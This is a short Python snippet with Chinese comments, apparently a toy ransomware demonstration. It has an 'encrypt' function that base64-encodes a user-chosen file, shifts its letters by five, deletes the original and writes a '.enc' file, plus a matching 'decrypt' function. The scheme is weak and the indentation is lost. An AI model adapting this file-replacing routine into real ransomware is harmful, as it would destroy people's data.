1、加密
import base64,os
#ransom_enypt
# 对指定文件进行加密
def ransom_enypt(filepath):
with open(filepath, 'rb') as file:
data = file.read()
source = base64.b64encode(data).decode()
# 对字符串加密 右移5位
result = ''
for i in source:
if ord(i) in range(97, 123) or ord(i) in range(65, 91): # 判断i是小写或者大写字母,统一右移五位
result += chr(ord(i)+5)
else:
result += i
os.remove(filepath) # 删除源文件
with open(filepath+'.enc', 'w') as file: # 加上后缀重新写入文件
file.write(result)
filepath = input("请输入文件路径:")
ransom_enypt(filepath)
2、解密
import base64,os
# ransom_enypt()
# 对指定文件进行解密
def ransom_deypt(filepath):
with open(filepath, 'r') as file:
data = file.read()
result = ''
for i in data:
if ord(i) in range(102, 128) or ord(i) in range(70, 96): # 解密 向左减5
result += chr(ord(i) - 5)
else:
result += i
result = base64.b64decode(result)
os.remove(filepath)
with open(filepath.replace('.enc', ''), 'wb') as file:
file.write(result)
filepath = input("请输入文件路径:")
ransom_deypt(filepath)